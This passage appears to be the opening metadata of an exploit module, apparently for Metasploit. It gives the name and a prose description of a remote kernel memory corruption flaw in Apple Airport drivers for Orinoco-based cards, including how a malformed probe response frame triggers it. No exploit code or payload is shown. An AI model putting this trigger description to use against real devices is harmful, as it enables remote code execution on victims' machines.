'Name' => 'Apple Airport 802.11 Probe Response Kernel Memory Corruption',
'Description' => %q{
The Apple Airport driver provided with Orinoco-based Airport cards (1999-2003 PowerBooks, iMacs)
is vulnerable to a remote memory corruption flaw. When the driver is placed into active scanning
mode, a malformed probe response frame can be used to corrupt internal kernel structures, leading
to arbitrary code execution. This vulnerability is triggered when a probe response frame is received
that does not contain valid information element (IE) fields after the fixed-length header. The data
following the fixed-length header is copied over internal kernel structures, resulting in memory
operations being performed on attacker-controlled pointer values.
